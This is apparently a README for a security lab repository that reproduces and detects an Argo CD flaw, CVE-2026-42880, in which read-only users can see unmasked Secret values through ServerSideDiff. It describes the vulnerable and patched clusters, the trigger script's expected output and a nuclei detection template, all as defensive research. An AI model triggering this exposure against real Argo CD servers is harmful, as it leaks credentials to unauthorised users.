一个用于复现和检测 CVE-2026-42880 的实验室环境。该漏洞是 Argo CD 中的一个严重漏洞，其 ServerSideDiff gRPC 处理器会将 Kubernetes Secret 数据暴露给只读用户。
| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2026-42880 |
| GHSA | GHSA-3v3m-wc6v-x4x3 |
| CVSS | 9.6（严重） — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N |
| 受影响版本 | ArgoCD 3.2.0–3.2.10, 3.3.0–3.3.8 |
| 已修复版本 | 3.2.11, 3.3.9+ |
| CWE | CWE-200, CWE-212 |
ArgoCD 的 gRPC 处理器中的 serverSideDiff() 会调用 Kubernetes SSA 试运行（dry-run）并返回 predictedLive，但未调用 hideSecretData()，从而在响应中暴露了 base64 编码的 Secret 值。
Vulnerable path (v3.2.0):
argocd app diff --server-side-diff
→ gRPC ServerSideDiff handler
→ Kubernetes SSA dry-run (merges ALL field managers)
← predictedLive returned (includes external-controller's data)
❌ hideSecretData() NOT called → real Secret values exposed
Patched path (v3.2.11):
...same SSA dry-run...
✅ HideSecretData() called → values replaced with ++++
必须同时满足以下三个条件：
| # | 条件 | 详情 |
|---|---|---|
| 1 | 存在漏洞的 ArgoCD 版本 | 3.2.0–3.2.10 或 3.3.0–3.3.8 |
| 2 | 应用注解 | argocd.argoproj.io/compare-options: ServerSideDiff=true,IncludeMutationWebhook=true |
| 3 | Secret 数据上的外部字段管理器 | Secret data 字段由非 ArgoCD 管理器拥有（例如 External Secrets Operator、Helm、kubectl） |
仅需 role:readonly 角色 — 无需任何写入权限。
Host Machine
├── localhost:30080 ──→ Kind Cluster: cve-vuln (ArgoCD v3.2.0 ⚠ VULNERABLE)
│ └── ns: production
│ ├── Secret: db-credentials
│ │ metadata → argocd-controller (synced from Git)
│ │ data.* → external-controller ⚠ (injected separately)
│ └── Secret: api-credentials (same setup)
│
├── localhost:30081 ──→ Kind Cluster: cve-patched (ArgoCD v3.2.11 ✓ PATCHED)
│ └── (identical config — only ArgoCD version differs)
│
└── localhost:3010 ──→ Docker Container: cve-lab-gitea
└── repo: gitadmin/manifests.git
└── secret.yaml (no data field — CVE prerequisite)
db-credentials Secret (namespace: production)
┌──────────────────────────────────────────────────────────────┐
│ metadata.* → argocd-controller (ArgoCD syncs from Git) │
│ data.* → external-controller (injected by setup script)│
└──────────────────────────────────────────────────────────────┘
SSA dry-run: Kubernetes merges both managers' fields into predictedLive
→ ArgoCD does NOT own data → data is not masked by ArgoCD
→ v3.2.0 returns predictedLive without hideSecretData() → EXPOSED
| 工具 | 安装方式 |
|---|---|
| kind | brew install kind |
| kubectl | brew install kubectl |
| Docker Desktop | docker.com |
| argocd CLI | brew install argocd |
| nuclei | brew install nuclei |
| curl、jq、git | macOS 预装，或通过 brew install jq 安装 |
资源要求： 8GB 以上可用内存、15GB 以上可用磁盘空间，且端口 30080 / 30081 / 3010 处于可用状态。
bash scripts/01-setup-vuln.sh
# or: make setup-vuln
大约需要 10 分钟。完成后：
══════════════════════════════════════════════════════
Vulnerable ArgoCD lab ready!
══════════════════════════════════════════════════════
ArgoCD UI : http://localhost:30080
Admin pass : <auto-generated>
Viewer pass : viewerpass123
Token file : .vuln-viewer-token
══════════════════════════════════════════════════════
bash scripts/02-setup-patched.sh
# or: make setup-patched
bash scripts/03-trigger-cve.sh
# or: make trigger
预期输出 — 存在漏洞的环境（v3.2.0）：
===== /Secret production/db-credentials ======
< db_password: ++++++++ ← masked live state
---
> db_password: U3VwM3JTM2NyM3REQiFQYXNzIzIwMjY= ← EXPOSED predictedLive!
[EXPOSED] decoded: Sup3rS3cr3tDB!Pass#2026
⚠ RESULT: SECRET DATA EXPOSED — VULNERABLE
预期输出 — 已修复的环境（v3.2.11）：
> db_password: ++++++++ ← masked
✓ RESULT: no unmasked data in predictedLive — PATCHED
# Vulnerable cluster → should produce a [critical] finding
nuclei -t nuclei/CVE-2026-42880.yaml \
-u http://localhost:30080 \
-var username=viewer \
-var password=viewerpass123
# Patched cluster → should produce no findings
nuclei -t nuclei/CVE-2026-42880.yaml \
-u http://localhost:30081 \
-var username=viewer \
-var password=viewerpass123
bash scripts/99-teardown.sh
# or: make teardown
argocd-cve-2026-42880-lab2/
├── README.md
├── LAB_SETUP_GUIDE.md # Lab setup guide + troubleshooting (English)
├── VULNERABILITY_ANALYSIS.md # Code-level vulnerability analysis (English)
├── Nuclei_Template_Report.md # Nuclei template design and test results (English)
├── Makefile
│
├── REPORT/ # Korean reports
│ ├── LAB_REPORT_KR.md
│ ├── Nuclei_Template_Report_KR.md
│ └── Vulnerability_Analysis_KR.md
│
├── kind/
│ ├── cluster-vuln.yaml # Kind cluster: cve-vuln (port 30080)
│ └── cluster-patched.yaml # Kind cluster: cve-patched (port 30081)
│
├── git-manifests/
│ └── secret.yaml # Secret without data field (CVE prerequisite)
│
├── manifests/
│ ├── application.yaml # ArgoCD Application with vulnerable annotation
│ ├── argocd-cm-patch.yaml # ConfigMap: TLS off, viewer account, ServerSideDiff
│ ├── argocd-rbac-patch.yaml # RBAC: viewer → role:readonly
│ ├── argocd-nodeport.yaml # NodePort 30080 (vuln cluster)
│ └── argocd-nodeport-patched.yaml# NodePort 30081 (patched cluster)
│
├── nuclei/
│ └── CVE-2026-42880.yaml # Nuclei detection template
│
└── scripts/
├── 01-setup-vuln.sh # Full automated setup: vulnerable env
├── 02-setup-patched.sh # Full automated setup: patched env
├── 03-trigger-cve.sh # Trigger CVE + compare both clusters
└── 99-teardown.sh # Remove all lab resources
该模板通过 4 步 HTTP 链路验证所有 CVE 前提条件，而无需触发实际的 Secret 提取：
Step 1 GET /api/version
→ extract argocd_version (no auth required)
Step 2 POST /api/v1/session
→ authenticate as viewer (role:readonly), extract token
Step 3 GET /api/v1/applications
→ find app with ServerSideDiff=true,IncludeMutationWebhook=true
Step 4 GET /api/v1/applications/{app}/managed-resources
→ verify: version in range + Secret present + f:data owned by external manager
→ FINDING reported only if all 5 matchers pass (AND condition)
警告： 本实验室中的所有凭据均为虚构的测试数据，仅供安全研究使用。切勿在生产环境中使用。